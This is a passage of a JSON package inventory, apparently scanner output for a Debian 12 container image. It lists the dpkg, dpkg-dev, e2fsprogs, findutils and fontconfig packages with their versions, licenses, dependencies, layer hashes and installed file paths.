"/usr/share/man/fr/man1/dpkg-deb.1.gz", "/usr/share/man/fr/man1/dpkg-divert.1.gz", "/usr/share/man/fr/man1/dpkg-maintscript-helper.1.gz", "/usr/share/man/fr/man1/dpkg-query.1.gz", "/usr/share/man/fr/man1/dpkg-realpath.1.gz", "/usr/share/man/fr/man1/dpkg-split.1.gz", "/usr/share/man/fr/man1/dpkg-statoverride.1.gz", "/usr/share/man/fr/man1/dpkg-trigger.1.gz", "/usr/share/man/fr/man1/dpkg.1.gz", "/usr/share/man/fr/man1/update-alternatives.1.gz", "/usr/share/man/fr/man5/dpkg.cfg.5.gz", "/usr/share/man/fr/man8/dpkg-fsys-usrunmess.8.gz", "/usr/share/man/fr/man8/start-stop-daemon.8.gz", "/usr/share/man/hu/man5/dpkg.cfg.5.gz", "/usr/share/man/it/man1/dpkg-split.1.gz", "/usr/share/man/it/man5/dpkg.cfg.5.gz", "/usr/share/man/ja/man1/dpkg-split.1.gz", "/usr/share/man/ja/man5/dpkg.cfg.5.gz", "/usr/share/man/man1/dpkg-deb.1.gz", "/usr/share/man/man1/dpkg-divert.1.gz", "/usr/share/man/man1/dpkg-maintscript-helper.1.gz", "/usr/share/man/man1/dpkg-query.1.gz", "/usr/share/man/man1/dpkg-realpath.1.gz", "/usr/share/man/man1/dpkg-split.1.gz", "/usr/share/man/man1/dpkg-statoverride.1.gz", "/usr/share/man/man1/dpkg-trigger.1.gz", "/usr/share/man/man1/dpkg.1.gz", "/usr/share/man/man1/update-alternatives.1.gz", "/usr/share/man/man5/dpkg.cfg.5.gz", "/usr/share/man/man8/dpkg-fsys-usrunmess.8.gz", "/usr/share/man/man8/start-stop-daemon.8.gz", "/usr/share/man/nl/man1/dpkg-deb.1.gz", "/usr/share/man/nl/man1/dpkg-divert.1.gz", "/usr/share/man/nl/man1/dpkg-maintscript-helper.1.gz", "/usr/share/man/nl/man1/dpkg-query.1.gz", "/usr/share/man/nl/man1/dpkg-realpath.1.gz", "/usr/share/man/nl/man1/dpkg-split.1.gz", "/usr/share/man/nl/man1/dpkg-statoverride.1.gz", "/usr/share/man/nl/man1/dpkg-trigger.1.gz", "/usr/share/man/nl/man1/dpkg.1.gz", "/usr/share/man/nl/man1/update-alternatives.1.gz", "/usr/share/man/nl/man5/dpkg.cfg.5.gz", "/usr/share/man/nl/man8/dpkg-fsys-usrunmess.8.gz", "/usr/share/man/nl/man8/start-stop-daemon.8.gz", "/usr/share/man/pl/man1/dpkg-split.1.gz", "/usr/share/man/pl/man5/dpkg.cfg.5.gz", "/usr/share/man/pt/man1/dpkg-deb.1.gz", "/usr/share/man/pt/man1/dpkg-divert.1.gz", "/usr/share/man/pt/man1/dpkg-maintscript-helper.1.gz", "/usr/share/man/pt/man1/dpkg-query.1.gz", "/usr/share/man/pt/man1/dpkg-realpath.1.gz", "/usr/share/man/pt/man1/dpkg-split.1.gz", "/usr/share/man/pt/man1/dpkg-statoverride.1.gz", "/usr/share/man/pt/man1/dpkg-trigger.1.gz", "/usr/share/man/pt/man1/dpkg.1.gz", "/usr/share/man/pt/man1/update-alternatives.1.gz", "/usr/share/man/pt/man5/dpkg.cfg.5.gz", "/usr/share/man/pt/man8/dpkg-fsys-usrunmess.8.gz", "/usr/share/man/pt/man8/start-stop-daemon.8.gz", "/usr/share/man/sv/man1/dpkg-deb.1.gz", "/usr/share/man/sv/man1/dpkg-divert.1.gz", "/usr/share/man/sv/man1/dpkg-maintscript-helper.1.gz", "/usr/share/man/sv/man1/dpkg-query.1.gz", "/usr/share/man/sv/man1/dpkg-realpath.1.gz", "/usr/share/man/sv/man1/dpkg-split.1.gz", "/usr/share/man/sv/man1/dpkg-statoverride.1.gz", "/usr/share/man/sv/man1/dpkg-trigger.1.gz", "/usr/share/man/sv/man1/dpkg.1.gz", "/usr/share/man/sv/man1/update-alternatives.1.gz", "/usr/share/man/sv/man5/dpkg.cfg.5.gz", "/usr/share/man/sv/man8/dpkg-fsys-usrunmess.8.gz", "/usr/share/man/sv/man8/start-stop-daemon.8.gz", "/usr/share/polkit-1/actions/org.dpkg.pkexec.update-alternatives.policy" ], "AnalyzedBy": "dpkg" }, { "ID": "dpkg-dev@1.21.22", "Name": "dpkg-dev", "Identifier": { "PURL": "pkg:deb/debian/dpkg-dev@1.21.22?arch=all\u0026distro=debian-12.13", "UID": "aa3f4b9f1f8b86d" }, "Version": "1.21.22", "Arch": "all", "SrcName": "dpkg", "SrcVersion": "1.21.22", "Licenses": [ "GPL-2.0-or-later", "GPL-2.0-only", "BSD-2-Clause", "public-domain-s-s-d" ], "Maintainer": "Dpkg Developers \u003cdebian-dpkg@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "binutils@2.40-2", "bzip2@1.0.8-5+b1", "libdpkg-perl@1.21.22", "make@4.3-4.1", "patch@2.7.6-7", "tar@1.34+dfsg-1.2+deb12u1", "xz-utils@5.4.1-1" ], "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "InstalledFiles": [ "/usr/bin/dpkg-architecture", "/usr/bin/dpkg-buildflags", "/usr/bin/dpkg-buildpackage", "/usr/bin/dpkg-checkbuilddeps", "/usr/bin/dpkg-distaddfile", "/usr/bin/dpkg-genbuildinfo", "/usr/bin/dpkg-genchanges", "/usr/bin/dpkg-gencontrol", "/usr/bin/dpkg-gensymbols", "/usr/bin/dpkg-mergechangelogs", "/usr/bin/dpkg-name", "/usr/bin/dpkg-parsechangelog", "/usr/bin/dpkg-scanpackages", "/usr/bin/dpkg-scansources", "/usr/bin/dpkg-shlibdeps", "/usr/bin/dpkg-source", "/usr/bin/dpkg-vendor", "/usr/share/bug/dpkg-dev", "/usr/share/doc/dpkg-dev/changelog.gz", "/usr/share/doc/dpkg-dev/copyright", "/usr/share/doc/dpkg/spec/frontend-api.txt", "/usr/share/doc/dpkg/spec/protected-field.txt", "/usr/share/doc/dpkg/spec/rootless-builds.txt", "/usr/share/doc/dpkg/spec/triggers.txt", "/usr/share/dpkg/architecture.mk", "/usr/share/dpkg/buildflags.mk", "/usr/share/dpkg/buildopts.mk", "/usr/share/dpkg/buildtools.mk", "/usr/share/dpkg/default.mk", "/usr/share/dpkg/pkg-info.mk", "/usr/share/dpkg/vendor.mk", "/usr/share/man/de/man1/dpkg-architecture.1.gz", "/usr/share/man/de/man1/dpkg-buildflags.1.gz", "/usr/share/man/de/man1/dpkg-buildpackage.1.gz", "/usr/share/man/de/man1/dpkg-checkbuilddeps.1.gz", "/usr/share/man/de/man1/dpkg-distaddfile.1.gz", "/usr/share/man/de/man1/dpkg-genbuildinfo.1.gz", "/usr/share/man/de/man1/dpkg-genchanges.1.gz", "/usr/share/man/de/man1/dpkg-gencontrol.1.gz", "/usr/share/man/de/man1/dpkg-gensymbols.1.gz", "/usr/share/man/de/man1/dpkg-mergechangelogs.1.gz", "/usr/share/man/de/man1/dpkg-name.1.gz", "/usr/share/man/de/man1/dpkg-parsechangelog.1.gz", "/usr/share/man/de/man1/dpkg-scanpackages.1.gz", "/usr/share/man/de/man1/dpkg-scansources.1.gz", "/usr/share/man/de/man1/dpkg-shlibdeps.1.gz", "/usr/share/man/de/man1/dpkg-source.1.gz", "/usr/share/man/de/man1/dpkg-vendor.1.gz", "/usr/share/man/de/man5/deb-buildinfo.5.gz", "/usr/share/man/de/man5/deb-changelog.5.gz", "/usr/share/man/de/man5/deb-changes.5.gz", "/usr/share/man/de/man5/deb-conffiles.5.gz", "/usr/share/man/de/man5/deb-control.5.gz", "/usr/share/man/de/man5/deb-extra-override.5.gz", "/usr/share/man/de/man5/deb-md5sums.5.gz", "/usr/share/man/de/man5/deb-old.5.gz", "/usr/share/man/de/man5/deb-origin.5.gz", "/usr/share/man/de/man5/deb-override.5.gz", "/usr/share/man/de/man5/deb-postinst.5.gz", "/usr/share/man/de/man5/deb-postrm.5.gz", "/usr/share/man/de/man5/deb-preinst.5.gz", "/usr/share/man/de/man5/deb-prerm.5.gz", "/usr/share/man/de/man5/deb-shlibs.5.gz", "/usr/share/man/de/man5/deb-split.5.gz", "/usr/share/man/de/man5/deb-src-control.5.gz", "/usr/share/man/de/man5/deb-src-files.5.gz", "/usr/share/man/de/man5/deb-src-rules.5.gz", "/usr/share/man/de/man5/deb-src-symbols.5.gz", "/usr/share/man/de/man5/deb-substvars.5.gz", "/usr/share/man/de/man5/deb-symbols.5.gz", "/usr/share/man/de/man5/deb-triggers.5.gz", "/usr/share/man/de/man5/deb.5.gz", "/usr/share/man/de/man5/deb822.5.gz", "/usr/share/man/de/man5/dsc.5.gz", "/usr/share/man/de/man7/deb-version.7.gz", "/usr/share/man/es/man1/dpkg-distaddfile.1.gz", "/usr/share/man/es/man5/deb-old.5.gz", "/usr/share/man/fr/man1/dpkg-architecture.1.gz", "/usr/share/man/fr/man1/dpkg-buildflags.1.gz", "/usr/share/man/fr/man1/dpkg-buildpackage.1.gz", "/usr/share/man/fr/man1/dpkg-checkbuilddeps.1.gz", "/usr/share/man/fr/man1/dpkg-distaddfile.1.gz", "/usr/share/man/fr/man1/dpkg-genbuildinfo.1.gz", "/usr/share/man/fr/man1/dpkg-genchanges.1.gz", "/usr/share/man/fr/man1/dpkg-gencontrol.1.gz", "/usr/share/man/fr/man1/dpkg-gensymbols.1.gz", "/usr/share/man/fr/man1/dpkg-mergechangelogs.1.gz", "/usr/share/man/fr/man1/dpkg-name.1.gz", "/usr/share/man/fr/man1/dpkg-parsechangelog.1.gz", "/usr/share/man/fr/man1/dpkg-scanpackages.1.gz", "/usr/share/man/fr/man1/dpkg-scansources.1.gz", "/usr/share/man/fr/man1/dpkg-shlibdeps.1.gz", "/usr/share/man/fr/man1/dpkg-source.1.gz", "/usr/share/man/fr/man1/dpkg-vendor.1.gz", "/usr/share/man/fr/man5/deb-buildinfo.5.gz", "/usr/share/man/fr/man5/deb-changelog.5.gz", "/usr/share/man/fr/man5/deb-changes.5.gz", "/usr/share/man/fr/man5/deb-conffiles.5.gz", "/usr/share/man/fr/man5/deb-control.5.gz", "/usr/share/man/fr/man5/deb-extra-override.5.gz", "/usr/share/man/fr/man5/deb-md5sums.5.gz", "/usr/share/man/fr/man5/deb-old.5.gz", "/usr/share/man/fr/man5/deb-origin.5.gz", "/usr/share/man/fr/man5/deb-override.5.gz", "/usr/share/man/fr/man5/deb-postinst.5.gz", "/usr/share/man/fr/man5/deb-postrm.5.gz", "/usr/share/man/fr/man5/deb-preinst.5.gz", "/usr/share/man/fr/man5/deb-prerm.5.gz", "/usr/share/man/fr/man5/deb-shlibs.5.gz", "/usr/share/man/fr/man5/deb-split.5.gz", "/usr/share/man/fr/man5/deb-src-control.5.gz", "/usr/share/man/fr/man5/deb-src-files.5.gz", "/usr/share/man/fr/man5/deb-src-rules.5.gz", "/usr/share/man/fr/man5/deb-src-symbols.5.gz", "/usr/share/man/fr/man5/deb-substvars.5.gz", "/usr/share/man/fr/man5/deb-symbols.5.gz", "/usr/share/man/fr/man5/deb-triggers.5.gz", "/usr/share/man/fr/man5/deb.5.gz", "/usr/share/man/fr/man5/deb822.5.gz", "/usr/share/man/fr/man5/dsc.5.gz", "/usr/share/man/fr/man7/deb-version.7.gz", "/usr/share/man/it/man1/dpkg-distaddfile.1.gz", "/usr/share/man/it/man5/deb-old.5.gz", "/usr/share/man/ja/man1/dpkg-distaddfile.1.gz", "/usr/share/man/ja/man5/deb-old.5.gz", "/usr/share/man/man1/dpkg-architecture.1.gz", "/usr/share/man/man1/dpkg-buildflags.1.gz", "/usr/share/man/man1/dpkg-buildpackage.1.gz", "/usr/share/man/man1/dpkg-checkbuilddeps.1.gz", "/usr/share/man/man1/dpkg-distaddfile.1.gz", "/usr/share/man/man1/dpkg-genbuildinfo.1.gz", "/usr/share/man/man1/dpkg-genchanges.1.gz", "/usr/share/man/man1/dpkg-gencontrol.1.gz", "/usr/share/man/man1/dpkg-gensymbols.1.gz", "/usr/share/man/man1/dpkg-mergechangelogs.1.gz", "/usr/share/man/man1/dpkg-name.1.gz", "/usr/share/man/man1/dpkg-parsechangelog.1.gz", "/usr/share/man/man1/dpkg-scanpackages.1.gz", "/usr/share/man/man1/dpkg-scansources.1.gz", "/usr/share/man/man1/dpkg-shlibdeps.1.gz", "/usr/share/man/man1/dpkg-source.1.gz", "/usr/share/man/man1/dpkg-vendor.1.gz", "/usr/share/man/man5/deb-buildinfo.5.gz", "/usr/share/man/man5/deb-changelog.5.gz", "/usr/share/man/man5/deb-changes.5.gz", "/usr/share/man/man5/deb-conffiles.5.gz", "/usr/share/man/man5/deb-control.5.gz", "/usr/share/man/man5/deb-extra-override.5.gz", "/usr/share/man/man5/deb-md5sums.5.gz", "/usr/share/man/man5/deb-old.5.gz", "/usr/share/man/man5/deb-origin.5.gz", "/usr/share/man/man5/deb-override.5.gz", "/usr/share/man/man5/deb-postinst.5.gz", "/usr/share/man/man5/deb-postrm.5.gz", "/usr/share/man/man5/deb-preinst.5.gz", "/usr/share/man/man5/deb-prerm.5.gz", "/usr/share/man/man5/deb-shlibs.5.gz", "/usr/share/man/man5/deb-split.5.gz", "/usr/share/man/man5/deb-src-control.5.gz", "/usr/share/man/man5/deb-src-files.5.gz", "/usr/share/man/man5/deb-src-rules.5.gz", "/usr/share/man/man5/deb-src-symbols.5.gz", "/usr/share/man/man5/deb-substvars.5.gz", "/usr/share/man/man5/deb-symbols.5.gz", "/usr/share/man/man5/deb-triggers.5.gz", "/usr/share/man/man5/deb.5.gz", "/usr/share/man/man5/deb822.5.gz", "/usr/share/man/man5/dsc.5.gz", "/usr/share/man/man7/deb-version.7.gz", "/usr/share/man/nl/man1/dpkg-architecture.1.gz", "/usr/share/man/nl/man1/dpkg-buildflags.1.gz", "/usr/share/man/nl/man1/dpkg-buildpackage.1.gz", "/usr/share/man/nl/man1/dpkg-checkbuilddeps.1.gz", "/usr/share/man/nl/man1/dpkg-distaddfile.1.gz", "/usr/share/man/nl/man1/dpkg-genbuildinfo.1.gz", "/usr/share/man/nl/man1/dpkg-genchanges.1.gz", "/usr/share/man/nl/man1/dpkg-gencontrol.1.gz", "/usr/share/man/nl/man1/dpkg-gensymbols.1.gz", "/usr/share/man/nl/man1/dpkg-mergechangelogs.1.gz", "/usr/share/man/nl/man1/dpkg-name.1.gz", "/usr/share/man/nl/man1/dpkg-parsechangelog.1.gz", "/usr/share/man/nl/man1/dpkg-scanpackages.1.gz", "/usr/share/man/nl/man1/dpkg-scansources.1.gz", "/usr/share/man/nl/man1/dpkg-shlibdeps.1.gz", "/usr/share/man/nl/man1/dpkg-source.1.gz", "/usr/share/man/nl/man1/dpkg-vendor.1.gz", "/usr/share/man/nl/man5/deb-buildinfo.5.gz", "/usr/share/man/nl/man5/deb-changelog.5.gz", "/usr/share/man/nl/man5/deb-changes.5.gz", "/usr/share/man/nl/man5/deb-conffiles.5.gz", "/usr/share/man/nl/man5/deb-control.5.gz", "/usr/share/man/nl/man5/deb-extra-override.5.gz", "/usr/share/man/nl/man5/deb-md5sums.5.gz", "/usr/share/man/nl/man5/deb-old.5.gz", "/usr/share/man/nl/man5/deb-origin.5.gz", "/usr/share/man/nl/man5/deb-override.5.gz", "/usr/share/man/nl/man5/deb-postinst.5.gz", "/usr/share/man/nl/man5/deb-postrm.5.gz", "/usr/share/man/nl/man5/deb-preinst.5.gz", "/usr/share/man/nl/man5/deb-prerm.5.gz", "/usr/share/man/nl/man5/deb-shlibs.5.gz", "/usr/share/man/nl/man5/deb-split.5.gz", "/usr/share/man/nl/man5/deb-src-control.5.gz", "/usr/share/man/nl/man5/deb-src-files.5.gz", "/usr/share/man/nl/man5/deb-src-rules.5.gz", "/usr/share/man/nl/man5/deb-src-symbols.5.gz", "/usr/share/man/nl/man5/deb-substvars.5.gz", "/usr/share/man/nl/man5/deb-symbols.5.gz", "/usr/share/man/nl/man5/deb-triggers.5.gz", "/usr/share/man/nl/man5/deb.5.gz", "/usr/share/man/nl/man5/deb822.5.gz", "/usr/share/man/nl/man5/dsc.5.gz", "/usr/share/man/nl/man7/deb-version.7.gz", "/usr/share/man/pl/man1/dpkg-distaddfile.1.gz", "/usr/share/man/pl/man5/deb-old.5.gz", "/usr/share/man/pt/man1/dpkg-architecture.1.gz", "/usr/share/man/pt/man1/dpkg-buildflags.1.gz", "/usr/share/man/pt/man1/dpkg-buildpackage.1.gz", "/usr/share/man/pt/man1/dpkg-checkbuilddeps.1.gz", "/usr/share/man/pt/man1/dpkg-distaddfile.1.gz", "/usr/share/man/pt/man1/dpkg-genbuildinfo.1.gz", "/usr/share/man/pt/man1/dpkg-genchanges.1.gz", "/usr/share/man/pt/man1/dpkg-gencontrol.1.gz", "/usr/share/man/pt/man1/dpkg-gensymbols.1.gz", "/usr/share/man/pt/man1/dpkg-mergechangelogs.1.gz", "/usr/share/man/pt/man1/dpkg-name.1.gz", "/usr/share/man/pt/man1/dpkg-parsechangelog.1.gz", "/usr/share/man/pt/man1/dpkg-scanpackages.1.gz", "/usr/share/man/pt/man1/dpkg-scansources.1.gz", "/usr/share/man/pt/man1/dpkg-shlibdeps.1.gz", "/usr/share/man/pt/man1/dpkg-source.1.gz", "/usr/share/man/pt/man1/dpkg-vendor.1.gz", "/usr/share/man/pt/man5/deb-buildinfo.5.gz", "/usr/share/man/pt/man5/deb-changelog.5.gz", "/usr/share/man/pt/man5/deb-changes.5.gz", "/usr/share/man/pt/man5/deb-conffiles.5.gz", "/usr/share/man/pt/man5/deb-control.5.gz", "/usr/share/man/pt/man5/deb-extra-override.5.gz", "/usr/share/man/pt/man5/deb-md5sums.5.gz", "/usr/share/man/pt/man5/deb-old.5.gz", "/usr/share/man/pt/man5/deb-origin.5.gz", "/usr/share/man/pt/man5/deb-override.5.gz", "/usr/share/man/pt/man5/deb-postinst.5.gz", "/usr/share/man/pt/man5/deb-postrm.5.gz", "/usr/share/man/pt/man5/deb-preinst.5.gz", "/usr/share/man/pt/man5/deb-prerm.5.gz", "/usr/share/man/pt/man5/deb-shlibs.5.gz", "/usr/share/man/pt/man5/deb-split.5.gz", "/usr/share/man/pt/man5/deb-src-control.5.gz", "/usr/share/man/pt/man5/deb-src-files.5.gz", "/usr/share/man/pt/man5/deb-src-rules.5.gz", "/usr/share/man/pt/man5/deb-src-symbols.5.gz", "/usr/share/man/pt/man5/deb-substvars.5.gz", "/usr/share/man/pt/man5/deb-symbols.5.gz", "/usr/share/man/pt/man5/deb-triggers.5.gz", "/usr/share/man/pt/man5/deb.5.gz", "/usr/share/man/pt/man5/deb822.5.gz", "/usr/share/man/pt/man5/dsc.5.gz", "/usr/share/man/pt/man7/deb-version.7.gz", "/usr/share/man/sv/man1/dpkg-architecture.1.gz", "/usr/share/man/sv/man1/dpkg-buildflags.1.gz", "/usr/share/man/sv/man1/dpkg-buildpackage.1.gz", "/usr/share/man/sv/man1/dpkg-checkbuilddeps.1.gz", "/usr/share/man/sv/man1/dpkg-distaddfile.1.gz", "/usr/share/man/sv/man1/dpkg-genbuildinfo.1.gz", "/usr/share/man/sv/man1/dpkg-genchanges.1.gz", "/usr/share/man/sv/man1/dpkg-gencontrol.1.gz", "/usr/share/man/sv/man1/dpkg-gensymbols.1.gz", "/usr/share/man/sv/man1/dpkg-mergechangelogs.1.gz", "/usr/share/man/sv/man1/dpkg-name.1.gz", "/usr/share/man/sv/man1/dpkg-parsechangelog.1.gz", "/usr/share/man/sv/man1/dpkg-scanpackages.1.gz", "/usr/share/man/sv/man1/dpkg-scansources.1.gz", "/usr/share/man/sv/man1/dpkg-shlibdeps.1.gz", "/usr/share/man/sv/man1/dpkg-source.1.gz", "/usr/share/man/sv/man1/dpkg-vendor.1.gz", "/usr/share/man/sv/man5/deb-buildinfo.5.gz", "/usr/share/man/sv/man5/deb-changelog.5.gz", "/usr/share/man/sv/man5/deb-changes.5.gz", "/usr/share/man/sv/man5/deb-conffiles.5.gz", "/usr/share/man/sv/man5/deb-control.5.gz", "/usr/share/man/sv/man5/deb-extra-override.5.gz", "/usr/share/man/sv/man5/deb-md5sums.5.gz", "/usr/share/man/sv/man5/deb-old.5.gz", "/usr/share/man/sv/man5/deb-origin.5.gz", "/usr/share/man/sv/man5/deb-override.5.gz", "/usr/share/man/sv/man5/deb-postinst.5.gz", "/usr/share/man/sv/man5/deb-postrm.5.gz", "/usr/share/man/sv/man5/deb-preinst.5.gz", "/usr/share/man/sv/man5/deb-prerm.5.gz", "/usr/share/man/sv/man5/deb-shlibs.5.gz", "/usr/share/man/sv/man5/deb-split.5.gz", "/usr/share/man/sv/man5/deb-src-control.5.gz", "/usr/share/man/sv/man5/deb-src-files.5.gz", "/usr/share/man/sv/man5/deb-src-rules.5.gz", "/usr/share/man/sv/man5/deb-src-symbols.5.gz", "/usr/share/man/sv/man5/deb-substvars.5.gz", "/usr/share/man/sv/man5/deb-symbols.5.gz", "/usr/share/man/sv/man5/deb-triggers.5.gz", "/usr/share/man/sv/man5/deb.5.gz", "/usr/share/man/sv/man5/deb822.5.gz", "/usr/share/man/sv/man5/dsc.5.gz", "/usr/share/man/sv/man7/deb-version.7.gz", "/usr/share/zsh/vendor-completions/_dpkg-parsechangelog" ], "AnalyzedBy": "dpkg" }, { "ID": "e2fsprogs@1.47.0-2+b2", "Name": "e2fsprogs", "Identifier": { "PURL": "pkg:deb/debian/e2fsprogs@1.47.0-2%2Bb2?arch=amd64\u0026distro=debian-12.13", "UID": "6fae48e2d7b7859d" }, "Version": "1.47.0", "Release": "2+b2", "Arch": "amd64", "SrcName": "e2fsprogs", "SrcVersion": "1.47.0", "SrcRelease": "2", "Licenses": [ "GPL-2.0-only", "LGPL-2.0-only", "BSD-3-Clause", "Apache-2.0", "ISC", "GPL-2.0-or-later", "MIT-US-export", "Kazlib", "Latex2e", "GPL-2+ with Texinfo exception" ], "Maintainer": "Theodore Y. Ts'o \u003ctytso@mit.edu\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "logsave@1.47.0-2+b2" ], "Layer": { "DiffID": "sha256:e48af84b2108a5d73effd9e16685b42ac33e7994e606398c46690918f5f3604a" }, "InstalledFiles": [ "/lib/systemd/system/e2scrub@.service", "/lib/systemd/system/e2scrub_all.service", "/lib/systemd/system/e2scrub_all.timer", "/lib/systemd/system/e2scrub_fail@.service", "/lib/systemd/system/e2scrub_reap.service", "/lib/udev/rules.d/96-e2scrub.rules", "/sbin/badblocks", "/sbin/debugfs", "/sbin/dumpe2fs", "/sbin/e2fsck", "/sbin/e2image", "/sbin/e2scrub", "/sbin/e2scrub_all", "/sbin/e2undo", "/sbin/mke2fs", "/sbin/resize2fs", "/sbin/tune2fs", "/usr/bin/chattr", "/usr/bin/lsattr", "/usr/lib/x86_64-linux-gnu/e2fsprogs/e2scrub_all_cron", "/usr/lib/x86_64-linux-gnu/e2fsprogs/e2scrub_fail", "/usr/sbin/e2freefrag", "/usr/sbin/e4crypt", "/usr/sbin/e4defrag", "/usr/sbin/filefrag", "/usr/sbin/mklost+found", "/usr/share/doc/e2fsprogs/NEWS.gz", "/usr/share/doc/e2fsprogs/README", "/usr/share/doc/e2fsprogs/changelog.Debian.amd64.gz", "/usr/share/doc/e2fsprogs/changelog.Debian.gz", "/usr/share/doc/e2fsprogs/copyright", "/usr/share/lintian/overrides/e2fsprogs", "/usr/share/man/man1/chattr.1.gz", "/usr/share/man/man1/lsattr.1.gz", "/usr/share/man/man5/e2fsck.conf.5.gz", "/usr/share/man/man5/ext4.5.gz", "/usr/share/man/man5/mke2fs.conf.5.gz", "/usr/share/man/man8/badblocks.8.gz", "/usr/share/man/man8/debugfs.8.gz", "/usr/share/man/man8/dumpe2fs.8.gz", "/usr/share/man/man8/e2freefrag.8.gz", "/usr/share/man/man8/e2fsck.8.gz", "/usr/share/man/man8/e2image.8.gz", "/usr/share/man/man8/e2label.8.gz", "/usr/share/man/man8/e2mmpstatus.8.gz", "/usr/share/man/man8/e2scrub.8.gz", "/usr/share/man/man8/e2scrub_all.8.gz", "/usr/share/man/man8/e2undo.8.gz", "/usr/share/man/man8/e4crypt.8.gz", "/usr/share/man/man8/e4defrag.8.gz", "/usr/share/man/man8/filefrag.8.gz", "/usr/share/man/man8/mke2fs.8.gz", "/usr/share/man/man8/mklost+found.8.gz", "/usr/share/man/man8/resize2fs.8.gz", "/usr/share/man/man8/tune2fs.8.gz" ], "AnalyzedBy": "dpkg" }, { "ID": "findutils@4.9.0-4", "Name": "findutils", "Identifier": { "PURL": "pkg:deb/debian/findutils@4.9.0-4?arch=amd64\u0026distro=debian-12.13", "UID": "bd0eb429e40f4af1" }, "Version": "4.9.0", "Release": "4", "Arch": "amd64", "SrcName": "findutils", "SrcVersion": "4.9.0", "SrcRelease": "4", "Licenses": [ "GFDL-1.3-no-invariants-or-later", "GPL-3.0-or-later", "FSFAP", "GPL-3+ with Autoconf-data exception", "FSFULLR", "GPL-2+ with Autoconf-data exception", "GPL-2.0-or-later", "X11", "public-domain", "GPL with automake exception", "LGPL-2.1-or-later", "LGPL-2.0-or-later", "LGPL-3.0-or-later", "BSD-3-clause and/or GPL-3+", "GPL-3+ with Bison-2.2 exception", "LGPL-3.0-only", "ISC and/or LGPL-2.1+", "BSD-3-Clause", "GFDL-1.3-only", "GPL-2.0-only", "GPL-3.0-only", "ISC", "LGPL-2.0-only", "LGPL-2.1-only" ], "Maintainer": "Andreas Metzler \u003cametzler@debian.org\u003e", "Repository": { "Class": "official" }, "Layer": { "DiffID": "sha256:e48af84b2108a5d73effd9e16685b42ac33e7994e606398c46690918f5f3604a" }, "InstalledFiles": [ "/usr/bin/find", "/usr/bin/xargs", "/usr/share/doc-base/findutils.findutils", "/usr/share/doc/findutils/NEWS.Debian.gz", "/usr/share/doc/findutils/NEWS.gz", "/usr/share/doc/findutils/README.gz", "/usr/share/doc/findutils/TODO", "/usr/share/doc/findutils/changelog.Debian.gz", "/usr/share/doc/findutils/changelog.gz", "/usr/share/doc/findutils/copyright", "/usr/share/info/find-maint.info.gz", "/usr/share/info/find.info-1.gz", "/usr/share/info/find.info-2.gz", "/usr/share/info/find.info.gz", "/usr/share/locale/be/LC_MESSAGES/findutils.mo", "/usr/share/locale/bg/LC_MESSAGES/findutils.mo", "/usr/share/locale/ca/LC_MESSAGES/findutils.mo", "/usr/share/locale/cs/LC_MESSAGES/findutils.mo", "/usr/share/locale/da/LC_MESSAGES/findutils.mo", "/usr/share/locale/de/LC_MESSAGES/findutils.mo", "/usr/share/locale/el/LC_MESSAGES/findutils.mo", "/usr/share/locale/eo/LC_MESSAGES/findutils.mo", "/usr/share/locale/es/LC_MESSAGES/findutils.mo", "/usr/share/locale/et/LC_MESSAGES/findutils.mo", "/usr/share/locale/fi/LC_MESSAGES/findutils.mo", "/usr/share/locale/fr/LC_MESSAGES/findutils.mo", "/usr/share/locale/ga/LC_MESSAGES/findutils.mo", "/usr/share/locale/gl/LC_MESSAGES/findutils.mo", "/usr/share/locale/hr/LC_MESSAGES/findutils.mo", "/usr/share/locale/hu/LC_MESSAGES/findutils.mo", "/usr/share/locale/id/LC_MESSAGES/findutils.mo", "/usr/share/locale/it/LC_MESSAGES/findutils.mo", "/usr/share/locale/ja/LC_MESSAGES/findutils.mo", "/usr/share/locale/ko/LC_MESSAGES/findutils.mo", "/usr/share/locale/lg/LC_MESSAGES/findutils.mo", "/usr/share/locale/lt/LC_MESSAGES/findutils.mo", "/usr/share/locale/ms/LC_MESSAGES/findutils.mo", "/usr/share/locale/nb/LC_MESSAGES/findutils.mo", "/usr/share/locale/nl/LC_MESSAGES/findutils.mo", "/usr/share/locale/pl/LC_MESSAGES/findutils.mo", "/usr/share/locale/pt/LC_MESSAGES/findutils.mo", "/usr/share/locale/pt_BR/LC_MESSAGES/findutils.mo", "/usr/share/locale/ro/LC_MESSAGES/findutils.mo", "/usr/share/locale/ru/LC_MESSAGES/findutils.mo", "/usr/share/locale/sk/LC_MESSAGES/findutils.mo", "/usr/share/locale/sl/LC_MESSAGES/findutils.mo", "/usr/share/locale/sr/LC_MESSAGES/findutils.mo", "/usr/share/locale/sv/LC_MESSAGES/findutils.mo", "/usr/share/locale/tr/LC_MESSAGES/findutils.mo", "/usr/share/locale/uk/LC_MESSAGES/findutils.mo", "/usr/share/locale/vi/LC_MESSAGES/findutils.mo", "/usr/share/locale/zh_CN/LC_MESSAGES/findutils.mo", "/usr/share/locale/zh_TW/LC_MESSAGES/findutils.mo", "/usr/share/man/man1/find.1.gz", "/usr/share/man/man1/xargs.1.gz" ], "AnalyzedBy": "dpkg" }, { "ID": "fontconfig@2.14.1-4", "Name": "fontconfig", "Identifier": { "PURL": "pkg:deb/debian/fontconfig@2.14.1-4?arch=amd64\u0026distro=debian-12.13", "UID": "a2d58f31a226b2d8" }, "Version": "2.14.1", "Release": "4", "Arch": "amd64", "SrcName": "fontconfig", "SrcVersion": "2.14.1", "SrcRelease": "4", "Maintainer": "Debian freedesktop.org maintainers \u003cpkg-freedesktop-maintainers@lists.alioth.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "fontconfig-config@2.14.1-4", "libc6@2.36-9+deb12u13", "libfontconfig1@2.14.1-4", "libfreetype6@2.12.1+dfsg-5+deb12u4" ], "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "InstalledFiles": [ "/usr/bin/fc-cache", "/usr/bin/fc-cat", "/usr/bin/fc-conflist", "/usr/bin/fc-list", "/usr/bin/fc-match", "/usr/bin/fc-pattern", "/usr/bin/fc-query", "/usr/bin/fc-scan", "/usr/bin/fc-validate", "/usr/share/doc-base/fontconfig.fontconfig-user", "/usr/share/doc/fontconfig/README.Debian", "/usr/share/doc/fontconfig/changelog.Debian.gz", 